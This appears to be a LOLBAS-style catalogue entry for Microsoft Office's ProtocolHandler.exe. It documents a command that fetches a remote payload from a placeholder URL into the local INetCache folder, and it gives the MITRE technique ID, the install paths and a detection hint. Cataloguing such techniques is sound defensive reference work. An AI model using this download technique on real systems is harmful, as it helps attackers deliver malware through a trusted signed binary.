--- Name: ProtocolHandler.exe Description: Microsoft Office binary Author: Nir Chako Created: 2022-07-24 Commands: - Command: ProtocolHandler.exe https://example.com/payload Description: Downloads payload from remote server Usecase: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE) Category: Download Privileges: User MitreID: T1105 OperatingSystem: Windows 10, Windows 11 Full_Path: - Path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\ProtocolHandler.exe - Path: C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\ProtocolHandler.exe - Path: C:\Program Files (x86)\Microsoft Office\Office16\ProtocolHandler.exe - Path: C:\Program Files\Microsoft Office\Office16\ProtocolHandler.exe - Path: C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\ProtocolHandler.exe - Path: C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\ProtocolHandler.exe - Path: C:\Program Files (x86)\Microsoft Office\Office15\ProtocolHandler.exe - Path: C:\Program Files\Microsoft Office\Office15\ProtocolHandler.exe Detection: - IOC: Suspicious Office application Internet/network traffic Acknowledgement: - Person: Nir Chako (Pentera) Handle: '@C_h4ck_0'